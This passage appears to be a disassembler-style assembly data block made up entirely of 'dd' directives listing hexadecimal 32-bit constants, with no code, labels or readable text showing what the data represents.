		dd 24A1082Dh, 2F876982h, 25932065h, 32AF5217h, 4D09ED46h
		dd 0F79F68C5h, 0E738BB90h, 0D4C9D46Fh, 1956CF5Ch, 38A4BA33h
		dd 0C2F54BFh, 0EBA8CBE7h, 7507C6D1h, 0A753DE25h, 2B361280h
		dd 0E6F66AFAh, 0FA4B9B8Fh, 69CBAA94h, 74D16895h, 11712ACFh
		dd 0E22ED532h, 0F183FC87h, 0DC5AEBF6h, 4A5E21Ah, 0FEA80B2Ah
		dd 79E1E54Eh, 0ABC198FCh, 913B9DB7h, 4CA4BCA4h,	42DFA827h
		dd 0AEB529B7h, 2E650D2Ah, 0B03C54CCh, 0B35491B9h, 9D710F8Fh
		dd 0CC7BB849h, 80A3D4E5h, 0FDFACF30h, 6499CAAFh, 0C754E03Bh
		dd 37B73B51h, 0E8235E2Eh, 0EE0E5E0Ah, 7EFAC503h, 551B80EBh
		dd 5FB8BB2Bh, 0DF3445FEh, 55FCFA3Ah, 0FB1C0B17h, 0EB362FE8h
		dd 35A2F5C1h, 16DD8E57h, 613CDA29h, 49085B94h, 14662FF7h
		dd 96C58082h, 0D3B32805h, 0F3DF7538h, 0DFA031E0h, 0C75A4B0Bh
		dd 0D1357A4Eh, 0ECC583F3h, 55ACF39Eh, 601A4891h, 0BC9C94E8h
		dd 138589B8h, 0B60FEAh,	0ACBA874Bh, 0E56F8F08h,	0A66BBC4Ah
		dd 0BC9C76DFh, 234CD6B8h, 0F03FACA8h, 0A3D8B465h, 0D3072989h
		dd 4B9D0A66h, 0AE5D03E1h, 9810D28Ch, 376DBA18h,	7CB2CEE8h
		dd 1E50CE78h, 412B3A76h, 29AE67ABh, 0DD9B70EFh,	0B474DF0h
		dd 0E59A93E1h, 5040B1A1h, 0F32BCFA8h, 780F661Dh, 0B33C9124h
		dd 10DF6557h, 0BEC53898h, 588C29F0h, 344AA262h,	0BAAC1D7Fh
		dd 3E6DAD42h, 31403575h, 2352BAC6h, 0EA7C6B6Ah,	0A3A9B479h
		dd 0E73422AEh, 546FBF86h, 0B23885F9h, 5D166E03h, 0FF6C2534h
		dd 0FD8B8B09h, 8D9A5DF5h, 0B32B8558h, 0F4ADD33Eh, 8E824456h
		dd 67E1289Eh, 0D2FD9CADh, 89053D27h, 1EED7A11h,	0C7F2DDF0h
		dd 78ACEA0Dh, 0B22CBE0Ah, 0B50870ABh, 63B18D6Dh, 0AA51B46Eh
		dd 0A2752FE2h, 0AAB0A96Fh, 22EA67F2h, 3BA689F2h, 0A648C0CFh
		dd 1B44B712h, 0ACC703Dh
		dd 6B2FD6D7h, 14E4AAE6h, 3B53F5F2h, 28350DC9h, 0EF3E4797h
		dd 63C21F9Ah, 952976E3h, 8512A640h, 5FD0B0EFh, 59978995h
		dd 0B75DAE6h, 2BB3F9ABh, 0F96F7F40h, 9835F240h,	5D0EA99Bh
		dd 7DE20843h, 1BFCF601h, 6BA12A39h, 0CECCAD1Fh,	726DF81Dh
		dd 0BAED080Bh, 0A8783F3Ch, 5277734Ah, 0F02D5598h, 0EED5F2C0h
		dd 68943BAEh, 52D7FD28h, 7FAE0DB7h, 0FE6507B4h,	11CC114Eh
		dd 36F29A4h, 0AB166BA7h, 0A1596CEBh, 743B5EFAh,	0C61F2DD1h
		dd 0E2956E0Fh, 0E7182F5h, 97E1410h, 3BC83AECh, 1BC32CBBh
		dd 0CE07121Bh, 8F9A11CDh, 31FB268h, 0BB306152h,	2F0A01C6h
		dd 769B8591h, 0F09AEE4Fh, 930264ABh, 0D60729B5h, 99645899h
		dd 0FED59D51h, 4859E385h, 0E2370CB9h, 81867F74h, 0D6AF4CDAh
		dd 0AA376AD9h, 5D5A40FEh, 72721078h, 87F3B695h,	0A6B3A289h
		dd 9CA03F09h, 12B442B7h, 6BEDC755h, 0FC5C5DF7h,	0CB759ED0h
		dd 0BDD5FB83h, 84FD38EFh, 1F42ADD3h, 0F057D55Ah, 0A81ECBA5h
		dd 8FE749C4h, 0A48EE792h, 0E5F35771h, 0D31E21E4h, 556EB580h
		dd 0E8F0FA05h, 28FB5558h, 894C94BDh, 0EAAE4C56h, 0D166922Fh
		dd 7519D015h, 9225D5E8h, 0B576D770h, 6589FAA3h,	579D39BDh
		dd 0ACB0AF41h, 0D55960FFh, 0CBEF4766h, 0BAB61A58h, 0E2FC9FC4h
		dd 66C4256Ah, 25477B6Bh, 432DB59Eh, 4C16B6E3h, 0DEA71DFEh
		dd 0F0D66CEFh, 0C9EE4285h, 0FCFDA10Eh, 15783005h, 69A19CCFh
		dd 0EAEF22BEh, 0D86CF8DDh, 482E4A5Dh, 314CCAF6h, 0A4BB7A79h
		dd 0B81FD2AFh, 5E7B5430h, 0B08FF1DBh, 0BB0E2605h, 0C25AE9C2h
		dd 3F154504h, 16850BACh, 4AF97177h, 5930F400h, 0DDA2C770h
		dd 2876A02Bh, 0F4EC7049h, 83F4788Bh, 7F4F92FAh,	780171C4h
		dd 1F3D4A3h, 9287B4E6h,	0F078A4DCh, 0FD56DCBh, 6F05783Fh
		dd 3C8DCA2h, 1768CAD1h,	0BA3A0D1Eh, 0AAA2BFDDh,	55DF5900h
		dd 0B3578ABh, 501735CBh, 0A6A95A54h, 2098CF06h,	321F9C7Ah
		dd 0F49F5FAFh, 3B6889C3h, 709DDB1Ch, 0CC0F9C19h, 7FDC3BD9h
		dd 0D99AE296h, 0D142AB31h, 0A1D59D5Ah, 33EEBC1h, 0E99BE535h
		dd 0BC1F49CBh, 0A2AD6BA9h, 0C9440C63h, 89C8976Ah, 87E0C563h
		dd 0E96ABD15h, 5FE16DEEh, 0A6DE17C3h, 64106F39h, 6A07CEBFh
		dd 0FAAC657Eh, 10374767h, 307F07Ch, 0AB577CDCh,	8897CD36h
		dd 99526BD6h, 0BAAC7E99h, 9C4DCE55h, 2D195CB0h,	0DB74DAF9h
		dd 5663FA4Fh, 1754B0BAh, 4712084Bh, 434D244Ah, 0F8AF565Fh
		dd 7C1D1D5h, 6EB4CF66h,	1E3D55E3h, 58F0E5F9h, 0EE96B58Dh
		dd 0A6B2FB62h, 77330B45h, 0A69FB123h, 0FCE44FE8h, 0CF61EF92h
		dd 0F8F56716h, 0D8D4F1C2h, 0BA4CEEF8h, 791D2858h, 0F389B1FFh
		dd 0D0E56F03h, 9012C469h, 780E0CC8h, 4B445E75h,	0B4482BCh
		dd 0BA1A15B4h, 4ED217DCh, 0A46334A9h, 14EF93A9h, 0CF50D621h
		dd 10891BC8h, 0CDCDE5B3h, 0C30FE74Bh, 0E6A33B1Eh, 0EA49A119h
		dd 4A7ADB32h, 74DE0AF0h, 0C7BF9548h, 92BE7AC0h,	226AB502h
		dd 0F4436CDh, 0B54632A6h, 9572BB6Bh, 0B170D181h, 5D6769CFh
		dd 8931BD83h, 1709869Bh, 0B1FC7DE5h, 0CCA59358h, 0E0EC1B8Ch
		dd 8BA81DCFh, 0FDFEE2E9h, 27FBFAD0h, 0A0F907D7h, 71895C5Bh
		dd 1DFAD2ABh, 0C5BD617Eh, 5B7A9FFDh, 0BFB69694h, 0D75B298Ch
		dd 6BDDAA48h, 0DDD99CE9h, 42C1A013h, 0B7651A58h, 6DF1642Ah
		dd 0AAF8CF26h, 226E768Ah, 25A33CDDh, 6E46EA54h,	0C553A9B4h
		dd 3E912F23h, 0DFA77EB3h, 0F0956AAFh, 4408EA85h, 0DA08F4Ch
		dd 7B8D16B0h, 2D36853Eh, 68E323BEh, 0B86A5BD7h,	0E34EDE7Ch
		dd 0DCFFC25Dh, 0AA26FC0Eh, 0AF6B9610h, 40DF9762h, 0B03AB2A9h
		dd 5B8A6E1Ah, 7BD54634h, 27755E5Eh, 45A7A95Ah, 4C51DB24h
		dd 15C8935Fh, 0A5F8B4E4h, 14B3D5A2h, 206A194Fh,	8E297CB3h
		dd 6930F7B1h, 3C928459h, 21A3CB08h, 407B85BBh, 0E7B2FB00h
		dd 0D4C4215Dh, 49A60FD9h, 0C0C20323h, 0AC4BEDE2h, 0B2B8C376h
		dd 159B5558h, 5B4DDD6Fh, 0B9044D9h, 0B48A3FD9h,	0FF58206Ah
		dd 0D5833B8Bh, 17E86384h, 0E419CC5Fh, 23A7B448h, 0C6B4581Fh
		dd 34D55D5Fh, 34CBF868h, 9F6DC930h, 0F8AB74AFh,	8781B9E3h
		dd 3F1B768Ah, 16D54756h, 11CF015Fh, 0DABAAEA7h,	5293F6A6h
		dd 5FDFE700h, 0B164C9CCh, 0E70153CBh, 9B285D4Eh, 0F5C12747h
		dd 0F029ABF1h, 6B2FE121h, 5F66E551h, 551DFF89h,	3C9D37CEh
		dd 0A664AC4Ch, 0CFF10FDEh, 0EFD8FD2Bh, 0DBF31112h, 0C2497740h
		dd 4DB78792h, 0BA2FE1AAh, 8CDE0384h, 63C0A407h,	0F601284Ah
		dd 88F37D6Ch, 0A3A15C54h, 46E69155h, 625C81FBh,	0ED94187Ah
		dd 46FB3C31h, 2A2E614Bh, 1EA16594h, 7FCA57FDh, 6D52BC8Dh
		dd 2F216731h, 2BAB19FFh, 24E3B464h, 0E3A592CDh,	74541B0h
		dd 472AF0ACh, 456953ABh, 964EBDFDh, 77685B8Eh, 0AF30970Bh
		dd 0E2BAF6D0h, 5A32B7BAh, 105BA452h, 5FC0BAF5h,	0F8CDD713h
		dd 516F63F2h, 87972B7h,	2E649F9Dh, 0A82DA29Eh, 762E768Eh
		dd 0F8BB4877h, 0F3CE846h, 1B0C0FFCh, 0F188C36Ch, 0CAFFC079h
		dd 2314DBB9h, 0E41A34DFh, 0F67B2990h, 8DCA8BE4h, 0EB45A030h
		dd 0D5ADE8BDh, 0E1FE337Eh, 133F8F8Bh, 1AABEA24h, 63DC16E2h
		dd 0B530F1EBh, 738B7A31h, 0F135EE25h, 2537079h,	4B81CABAh
		dd 6281C955h, 0D3920D0h, 577076E1h, 0A71BE3EAh,	29E7AA54h
		dd 0BFC283F7h, 0E54CBFDEh, 3B924BA2h, 22BBF8E0h, 13A4D186h
		dd 0ACF79695h, 1888EBCDh, 8D857DB0h, 5A5A143Bh,	0E06D6612h
		dd 1CE31F8Dh, 976DD1A6h, 0A35E986Ah, 383ED48Fh,	687E7905h
		dd 0D96B7F3Fh, 36422259h, 381E86EFh, 0CB404EF7h, 46EBAF03h
		dd 0CFA6CB06h, 1027F68Dh, 0A8EA3BB2h, 0F66E1CE0h, 57A5C0D5h
		dd 0A2AA365Fh, 0DA5A63AEh, 97657D1Dh, 0E292FC3Fh, 360B502Bh
		dd 796FCAFEh, 0A578C055h, 0B15FBB1Fh, 13F535B8h, 0F1E62C85h
		dd 0F48873FBh, 17A09ABCh, 0DC40407Ch, 475586E5h, 4337568Bh
		dd 1120E6C3h, 0B88991B7h, 0FFB23301h, 48FA86EDh, 0B1904998h
		dd 0B3E52B87h, 0F9336840h, 7442602Fh, 0B25542D4h, 887E5B82h
		dd 0D87FD598h, 69650EBBh, 2661647Bh, 0F7D7075Ch, 0C59713Eh
		dd 16DBC57Ah, 0E2B75B9h, 51A2DDD6h, 3C2C952Fh, 6203FC8Eh
		dd 0A27FD40Dh, 0B92A0BE6h, 22531FF2h, 5D6BF9C7h, 11114906h
		dd 0E8C2E733h, 0C365BE53h, 0B216AF90h, 752D1E1Dh, 484888A1h
		dd 0BF365897h, 7F0530D7h, 0F43F9832h, 0D184DDC3h, 0F34E0D4Ah
		dd 0F1A9A03h, 0A34C1A7Ch, 0BAEC77D6h, 0C20B95DEh, 17DC2F6Fh
		dd 8C400A1h, 869BDA24h,	0ED6DAF99h, 985F4E6Ah, 745D51F8h
		dd 0ECEEDADCh, 0D7CBE43Bh, 4CF8385Bh, 70CE6489h, 50F53C88h
		dd 0BD94696Ah, 0BB31DC87h, 0DB2F2092h, 2FCDF15Bh, 0AD57AD92h
		dd 7394011Fh, 8CC768EFh, 0DA07DD4Bh, 3CB2020Ah,	0D6D2279Bh
		dd 5F4D2EE9h, 926908B6h, 54D768D9h, 81B706EBh, 0A5B6D221h
		dd 78ACFA2Dh, 24B40D18h, 2D0A51AEh, 45E6BFCBh, 75D3AEF8h
		dd 0FC78975Fh, 79F57162h, 0C0CB307Eh, 0AE243A73h, 155EF5B5h
		dd 95ECA43Fh, 8353DDAFh, 6A8AABE6h, 0E7B1E88Dh,	0D8447F19h
		dd 0BF3792D7h, 0DB683FE1h, 7E0F19D9h, 0A766A1Fh, 19C092EBh
		dd 97444EBEh, 0B2C27023h, 882D25C5h, 4A5DFAD6h,	0A5007A0Fh
		dd 2B8D2C4Eh, 4F39F53Dh, 0ACC4C8E7h, 0F0BE6FA2h, 0ED1370F2h
		dd 0FA2042ADh, 0ED3CDECCh, 355A3B8Dh, 136B1F5Ah, 4CDC971Eh
		dd 48AE5957h, 78B0A57Bh, 5CF0A653h, 144A38BAh, 0D195087Ah
		dd 0E4CEC55Eh, 5B03D8E3h
		dd 51E0DF64h, 3DBDF7BAh, 0CEFE4AB1h, 531EFD70h,	5D3B6690h
		dd 1634A0F1h, 2E1BA6AAh, 98076A89h, 0AA54BF73h,	0FF65F8E9h
		dd 0BE8A5052h, 5BB06E38h, 9E7FACDEh, 0FEFDEEB3h, 4028B2C7h
		dd 0F33B7E08h, 1BF29065h, 498C677Dh, 0B24D2B3h,	0F2FC5D39h
		dd 0FC654B2h, 445573C1h, 0B704D326h, 0F8B25E84h, 9832608Ah
		dd 0AFE984Dh, 0FDB2F23Eh, 1A6D254Ah, 90FB8FA2h,	0E4CDDD71h
		dd 0A7F93E91h, 2945FE5Fh, 0BA50E689h, 0DA3A11BDh, 78DEF2A8h
		dd 369BF389h, 0DA0B607Ch, 0C40FFCB2h, 86F93A6Ch, 0A031BF68h
		dd 0A57CB352h, 0DC7FF3F4h, 8E1E2C3Ch, 3DA0789Bh, 93BE717Eh
		dd 0E2CD929Ah, 0D1D79736h, 2D14A9ADh, 9B2D7059h, 0E07FCE2Ah
		dd 0D9FB38E9h, 0EE367199h, 4360E0E0h, 0B7C6CFF8h, 96F722D1h
		dd 8BC6245Ah, 1FE8D52h,	7296FF1h, 0E96FE741h, 751A8F7Eh
		dd 2544C945h, 0A56B0029h, 959FD2B9h, 83858057h,	14824A65h
		dd 5D3EABDDh, 9FF7FFC3h, 0AD1F72FBh, 23FA355h, 4F4D1EADh
		dd 224B81EBh, 40F95534h, 2A13A0E0h, 57AF64FBh, 0CA8598C5h
		dd 19CD1379h, 0AA1F2F7h, 10BAEAEAh, 164B9F60h, 56FCAB7h
		dd 5F5785EDh, 0F69F26C7h, 1BE43256h, 0E12FF8D3h, 71F7FEEDh
		dd 8CFFB1C5h, 0A3D32A92h, 64ECD677h, 3C87FBA0h,	3A95D9D1h
		dd 708BE2E8h, 0C19717B1h, 55D9BB35h, 51AACCCBh,	5F2670ABh
		dd 12A8F087h, 38D96F7h,	0DEE79AD0h, 0B33B5322h,	768C4B9Ah
		dd 63866CBBh, 0F03EF799h, 1B1FCA60h, 0EA1D8391h, 6BF88E26h
		dd 90A95A9Bh, 9564385Ah, 0A7E5818Eh, 617303ADh,	0B4CC41B5h
		dd 5382887h, 0F834ADEh,	4ADD9ECh, 0D0285952h, 634428ACh
		dd 0C7BC9AB5h, 0BC0A6659h, 0A4BFAFDBh, 677E3E57h, 8C2FBCF6h
		dd 894BED36h, 0E1BA8067h, 1365F54Fh, 6CC403A7h,	81F0435Dh
		dd 0C9E62FFBh, 73160667h, 8EC67DAFh, 2B743A96h,	9BB922B1h
		dd 0D6C63DB2h, 0F8A94B9Eh, 0AC2CAD8Bh, 6B2F5B28h, 7D9B6676h
		dd 7A34F27Ah, 3D0AADBBh, 32E14FF1h, 0B03CAA17h,	0B448B540h
		dd 34D8DD12h, 492BA6CDh, 5A2B9BB1h, 815FE885h, 0A82EA568h
		dd 1F22F195h, 9E087A31h, 0E1A94A4Eh, 8F6B15EEh,	35882FC0h
		dd 723A79BBh, 5F05DB82h, 0A644E75Ah, 0B72E8223h, 9D585348h
		dd 7AEBE6E9h, 65FCB4BFh, 0F87F8AA0h, 3ACB9B40h,	52A27E15h
		dd 67CF4871h, 4F7667F1h, 0BC391AB3h, 87647A50h,	0F5CCED43h
		dd 648DC5AAh, 3073BEDCh, 0E82C7CA4h, 0CBE18730h, 0FD2CD9C1h
		dd 679082ACh, 83A18341h, 1CA2F367h, 0B97CF7ADh,	17A1034Eh
		dd 0E8419A4Bh, 21C32FEEh, 5AFC3BBDh, 0B94BD9C2h, 0B4BFFC2Ah
		dd 0D182B5A2h, 0CFB1A49Dh, 96C37828h, 654D0D78h, 0F2EFF112h
		dd 0E5165303h, 8EB26B22h, 88BFAFA5h, 0BD62BDD6h, 36F36732h
		dd 0E3632A5Ch, 0EA3C3781h, 79A17E79h, 7914CCBDh, 5E640823h
		dd 9D08E876h, 0AFBE1FBBh, 5E387274h, 0E079F258h, 0DE551AFCh
		dd 32EFD5EDh, 0E0E4E0B6h, 0C7BBF2FDh, 0D227AC32h, 0E829229Ch
		dd 41ADC383h, 0DF9544C3h, 0DD8913B5h, 3799536Fh, 0F380F143h
		dd 0E381649Dh, 767DE62Fh, 0CC87F540h, 1155DB52h, 0EC82EE75h
		dd 6603F952h, 0E7A10DDDh, 0CB261FE3h, 0D28581F0h, 1FEB50A9h
		dd 0C550037Fh, 2799051Fh, 0E74ECE5Ah, 2473EBB1h, 0F2214A7Fh
		dd 45AAF6E0h, 0E816B57Bh, 32DECD9Ah, 7842FEFAh,	345472BAh
		dd 3CF61C1Eh, 7D6CA7AEh, 0EBBBDDACh, 938B66C0h,	0EF5757F7h
		dd 0EB6ABCCBh, 0D2FE2FEAh, 4F8E20DFh, 57C82C44h, 89CEEA20h
		dd 9DA2B288h, 70F8DDA5h, 0D57A7079h, 0C1D35BA6h, 27379199h
		dd 0D987704Ah, 5F0D33Ch, 0AB700320h, 0CB6A22ABh, 9A6BA9A5h
		dd 1036F940h, 68DD98EBh, 2B6B4A3Bh, 0F30D196h, 7510EC2Bh
		dd 0F0BFC0FDh, 0E79D18A7h, 25E20BE5h, 9B7573B8h, 0CF2A6DD2h
		dd 69921248h, 921AF334h, 0CB032E04h, 0B84DCDE2h, 0FEC75CC0h
		dd 855C0E70h, 0B7AEA815h, 0AA5CDE6Ch, 1A1B1F8Ch, 11BD57AFh
		dd 0C4C5C356h, 2AD6F62Dh, 5E777CE3h, 0FDAC8EECh, 1C5412C0h
		dd 0DB5DB05Eh, 0BA7284Dh, 0DF8468C3h, 0CCE7BB56h, 231F6E5Eh
		dd 4B2672E8h, 0AB0F4BFFh, 87320612h, 0E0BCCA6Ch, 30FC6151h
		dd 0E5F6076Eh, 0FDBDF7A6h, 13C33F33h, 1B50C39h,	0B2FB097Ah
		dd 32347854h, 0BD89F4AAh, 73DBA78Fh, 2F265570h,	954A3AAh
		dd 0E61F1631h, 0A349604Ch, 4A097549h, 0E2BD576Eh, 0B8066187h
		dd 5A3CDEC7h, 7EA5B03Eh, 0A77335CBh, 0F8EE700Fh, 0A730E293h
		dd 60BC2B5Ch, 3FB2AC96h, 40EB1B60h, 32FD742Bh, 0C4733B7Ah
		dd 7B30BBADh, 9B73EC40h, 0CCFBA6A5h, 72BBEED6h,	37951A79h
		dd 0D404543Ch, 0C58DFD5Ah, 0B7A91A63h, 28845684h, 4EE82739h
		dd 0A9C7D46Eh, 0A4FFB243h, 0C69B8E03h, 78CFA4ADh, 4B142C20h
		dd 181EBEAAh, 75A08E2Ah, 0E0D0AC0Fh, 3B83DB17h,	0A1D9B313h
		dd 84F5C64Ch, 0C6575068h, 0BFD04A00h, 0B257ADAFh, 0C4ED191Fh
		dd 8B61A81Ah, 53C843E8h, 0F1BCBF00h, 7458F2C3h,	4C134943h
		dd 0DBE5EB76h, 0BF2337FDh, 0BC68CB2Ah, 0DFE19D9Ah, 467C214Eh
		dd 0B477F84Eh, 0E0103DE0h, 76EF7729h, 0BB2CB47Dh, 0F1F86CA6h
		dd 0E8F4FB89h, 0BFE096A3h, 0C758F58Dh, 0E95FEF1Eh, 100618B4h
		dd 0AB894F5Ah, 3C979FC4h, 0A0AA2FEDh, 61CB8B1Bh, 60E773Ah
		dd 2B7ABD5h, 5A9D4342h,	0CFC0188Bh, 0ECB75CF5h,	0FDCA5FC3h
		dd 0A3389AD2h, 9D10441Ah, 45547C43h, 0B46B1D99h, 58E5E2Fh
		dd 0BB5767C1h, 637E8846h, 0DC4A8677h, 0C4E6A2EDh, 0E1154ADEh
		dd 0F0101BA3h, 0E5F4FF9Dh, 0ABAB617Bh, 0E4E11C45h, 6A07EA8Fh
		dd 0CABFDC6Fh, 66D68923h, 7B867415h, 2614395Dh,	4376BE64h
		dd 0B71BAEADh, 13F32A45h, 0F39FF53Eh, 0E68CA99h, 1429B1F0h
		dd 2997A62Dh, 78D07AD7h, 0A20BFCF0h, 0A8E2A5E9h, 0D0B54CB4h
		dd 0F0D59AE5h, 746DE141h, 0F0525F40h, 9DEDB229h, 199149BFh
		dd 0C088D677h, 548ECAAAh, 0E428EEC5h, 2AF65B64h, 0BF658698h
		dd 3F82E15Ch, 0A48CD04Dh, 0ACA21F1Eh, 69C45D6Eh, 0AC669D50h
		dd 29FCE080h, 33BCBF68h, 27207835h, 4AC487Eh, 1DF1BA8Dh
		dd 274CEDDEh, 1195D241h, 91D7974h, 0CA7951C6h, 5B42D5FDh
		dd 38827D02h, 3E45A0A1h, 11EC817Fh, 784FB8D5h, 8A5F4217h
		dd 0AFEE32FFh, 232881A6h, 476E6940h, 0B5DFA07Eh, 532FC083h
		dd 0DA8FAC6Eh, 4DB46EB6h, 0EA8BBDC8h, 87E3D8A5h, 94682D49h
		dd 398B2CB3h, 0E9D7D783h, 0F8975DA8h, 0CA6BE276h, 597A7438h
		dd 56A6A3FDh, 1B5AF4A9h, 35D06B1Ah, 0D9B09A11h,	1C1AAAAAh
		dd 0E8F13D8Dh, 0B0988B5Fh, 0A29D8CFFh, 0B8D539CBh, 1D0EECB2h
		dd 43C1607Eh, 35E845F7h, 0E69A2B16h, 3A3EFC7Ah,	1E0025E4h
		dd 36E37C01h, 35FAB7DBh, 47DB3F3Dh, 8F0EB505h, 0CD467D18h
		dd 0C580A478h, 0B3984057h, 7D799FAh, 0DE5D794Eh, 5FBFA6CDh
		dd 62D3E6Dh, 612183E7h,	0B01BF8EEh, 0EF21B5E5h,	14B0C695h
		dd 0F8780368h, 0FD845021h, 65ACB6FDh, 0A1F811F7h, 9D7DA957h
		dd 0D1AD89BDh, 0E0D93CDAh, 0FFC4CFA8h, 7D10DE52h, 51D50933h
		dd 50486B1Eh, 75CDE55Eh, 726BE99h, 0D46830A4h, 208729Bh
		dd 7C5FA178h, 0C1E05312h, 134F76BBh, 9A145ADh, 0FA7372DEh
		dd 1B219F7Dh, 0F17CB54Eh, 2624C1C0h, 9D72518Ch,	5DE2BFCCh
		dd 269BDF88h, 0CED57477h, 95F97112h, 0F0FE74AEh, 0AED10BD8h
		dd 5089687Ch, 0AA9D0332h, 0E5F0BB99h, 63B5FE92h, 304EF780h
		dd 0D82296A8h, 65A9BB91h, 0DCDA10A5h, 0ADEB5366h, 895BDAB4h
		dd 0F449B61h, 0A7CF703Ch
		dd 0D66B0E4Fh, 0F1E07141h, 4BAFFCE0h, 5A1DC103h, 225FE07Dh
		dd 23D6B74Ah, 0E1669522h, 0E70A5198h, 3FD649D2h, 0CE9DA293h
		dd 9C3BA37Ah, 7809ED68h, 7DB4A393h, 0F30228F4h,	0AF5E18D2h
		dd 7CABFC68h, 695F934Fh, 536A6B0Ch, 0B023E17Bh,	0CA845920h
		dd 0BABD2BE4h, 0A1DEBB9Ah, 53EFA2F3h, 0CA5459C6h, 26B9E7C7h
		dd 0A39B514Ch, 6A324683h, 0D68D5EF0h, 0BFB9E812h, 0AE86FEB3h
		dd 0A8CC5784h, 0EDBA6973h, 9E196B79h, 0BF83722Fh, 0D04E35DCh
		dd 0E3EBABFCh, 5AE8C122h, 0B2AECDFEh, 9A62BFDBh, 0A0649C57h
		dd 335FD7Ch, 0AC66F474h, 8DC808E4h, 2AFF7EF4h, 45D9DBFBh
		dd 0AEFF9849h, 0D962D13Ch, 0E04B65D4h, 349A790h, 49318AE3h
		dd 0C9C768C9h, 16B6D510h, 6C89D242h, 80ABA2B1h,	0C0F8C3E2h
		dd 1D65C4FEh, 3AAD52BEh, 3F76554Eh, 660368ACh, 0E2DAA7F9h
		dd 0A2FC03CBh, 5AAFBD7Ch, 436B3A56h, 50651156h,	7C14D63Ch
		dd 0BAA0B2E7h, 520547D8h, 6275DFD7h, 0F57EAC6Dh, 18FDF4B9h
		dd 0B543237h, 8B1756B1h, 625D9637h, 24994AEDh, 0DCEA4F6Eh
		dd 58107855h, 0A3319D07h, 0DA7170B1h, 40FE1DFDh, 19EAE088h
		dd 9B722B34h, 736C6BE5h, 0F8E79D54h, 3BEE0DEFh,	3746FA7Bh
		dd 7D55E814h, 0F52354B1h, 58FB2767h, 5D4A128Dh,	62BBAE65h
		dd 672A7052h, 0EB02880Dh, 3A307126h, 50972D0Ch,	2B29966Bh
		dd 0E66712BAh, 0B1D057DAh, 403103DFh, 1552A435h, 1ED7B7D8h
		dd 90956059h, 0E7AA425Eh, 9CC402AEh, 3F84D129h,	0C122E70h
		dd 0AC41ADD7h, 0F479ED8Bh, 343A0A3Ch, 802BFEC8h, 0B4C372ACh
		dd 8DBD56Bh, 0FBF1DC5Dh, 5FEF321h, 5D53C8C4h, 57DA1123h
		dd 0EB68F137h, 7EAE213Ch, 2EE7E67Fh, 0A87AE1ABh, 0F9CC5BDCh
		dd 4CBEEA80h, 0AE21B967h, 92EBD0D7h, 34CC0FC7h,	2FE3AA36h
		dd 0A5E168BAh, 7E0CD52Bh, 4762FF3Fh, 30182756h,	0F76B06A5h
		dd 7861F37h, 370B47CAh,	1AC1E6D0h, 0F9FA94Ch, 478AFFB6h
		dd 0A35D1791h, 2B0652EDh, 0F1957E20h, 6317AAC3h, 0F8F1256Dh
		dd 0F20CFAC0h, 436106A9h, 3B452AA8h, 0DF8D315Ch, 0E7875EC7h
		dd 0D9A8AAFDh, 76AAEB76h, 0A2102EE3h, 32D391B2h, 60884A47h
		dd 9DC975FFh, 6A15BFE5h, 0AB12C8D4h, 6D709B44h,	9FB6F7E2h
		dd 0ED9C8D56h, 0D71DD538h, 0D4766161h, 0C9DCA947h, 0ED456ACDh
		dd 0EABA2A49h, 43827FEDh, 0BA63DBA6h, 55AA17FFh, 0FDC2FDCAh
		dd 1E8915E6h, 4B463935h, 15747F15h, 0FBEBEB43h,	0FF6ADB82h
		dd 83E35D54h, 96191E1Bh, 949286BBh, 0E1B06D4h, 5BEEE615h
		dd 0F549C1DFh, 0B745C33Ah, 8127509Eh, 2244CE83h, 574EFB7Ah
		dd 5E2AA890h, 0D11FD6C8h, 0DCC6D81Fh, 97FA9495h, 5D38A536h
		dd 0DF1F48E9h, 0A387B327h, 5D007B2Bh, 4457E1B4h, 3B2BE9E0h
		dd 0D21FC432h, 0D1C15FE8h, 8839DDCCh, 0C6A9A72Fh, 0E6B6EEBBh
		dd 59B14031h, 60D6E438h, 92EC5C99h, 37E0606Ch, 0C9E0AB57h
		dd 0D9F53C7h, 5B97A16h,	0CE1D5A5Ah, 21F648E1h, 5D9AF3A5h
		dd 0B5D5BC65h, 34D2D93Bh, 2FFB140Dh, 0E5EE67F6h, 0AC8980FDh
		dd 7E50CD6h, 4E35CE77h,	4CA5D719h, 1FBECB43h, 8ABE378Eh
		dd 5F633E37h, 0D64B51A1h, 40AC5A34h, 53AA9CB4h,	0C23D141Eh
		dd 0BAC38DF7h, 0F2EA8Fh, 7BC0B5C3h, 6BF39348h, 0E640B107h
		dd 71B7E1C5h, 9DFB8BB5h, 0A4C4DFC6h, 0DA13FFBAh, 93FA120Eh
		dd 0B789F9EEh, 6B7CA4C7h, 0EB37EC56h, 0D50F3D0Bh, 26CBE506h
		dd 0C3F1C16Ch, 48F1B9ECh, 307418DBh, 696E5898h,	0D593D328h
		dd 94980B82h, 0F99F1EF9h, 2AA23E23h, 0F9ED5674h, 0CCB5C75Ch
		dd 9852E2DBh, 7696A339h, 27B5BDABh, 5EFF8123h, 0D34218D1h
		dd 6AFB6454h, 16EEFA7Ah, 8B7E66B0h, 0FB183336h,	91DDBF58h
		dd 67211C2Ch, 8AF8975Dh, 852DDE42h, 3D772AD6h, 0D9CE8E6Eh
		dd 964D2387h, 0AD7DF948h, 3FD836BBh, 0D707D92Fh, 539B3FB2h
		dd 5BBB5D85h, 0DCBF8BB4h, 607E6D5Ch, 8D1E30A3h,	17535B19h
		dd 57D272BCh, 0FD9B3BFBh, 6F90CAFDh, 0A1F9149Ah, 4BE32F8Dh
		dd 0E2F60061h, 6B70836Dh, 73DED23Eh, 0FE104F33h, 99555A3Ch
		dd 8206F7A9h, 8A0872A6h, 6EE42F62h, 0B97F32A2h,	63F83404h
		dd 0B6E27072h, 0E4E78A31h, 0B75AD2F5h, 0DC655F0h, 0D18E243Ah
		dd 0F7C13703h, 0F0674EBCh, 7904B0FBh, 0EE1C9272h, 0EBD6B9B5h
		dd 0A0123F19h, 0ABE18422h, 0EFB484Eh, 77E881BEh, 0AC41BC8Ah
		dd 30BF23DBh, 1E3F1469h, 8EECCFF0h, 76AF1EA4h, 3EB7B712h
		dd 7162181Eh, 416229E1h, 4339D4F7h, 82E3C5BEh, 0BE121B79h
		dd 88C6E8D5h, 881CD16Ah, 1F4F2A15h, 0CBC7157Eh,	0E47E4716h
		dd 5AF08497h, 2F472B5Eh, 0ABD9186Dh, 8872AB23h,	67479EA9h
		dd 25FBF9C2h, 0F13CAA08h, 0E91FA805h, 0A41CA836h, 8A7FA02Eh
		dd 8D6E057Eh, 91B59DF8h, 7F66B378h, 0F235FA77h,	1297D789h
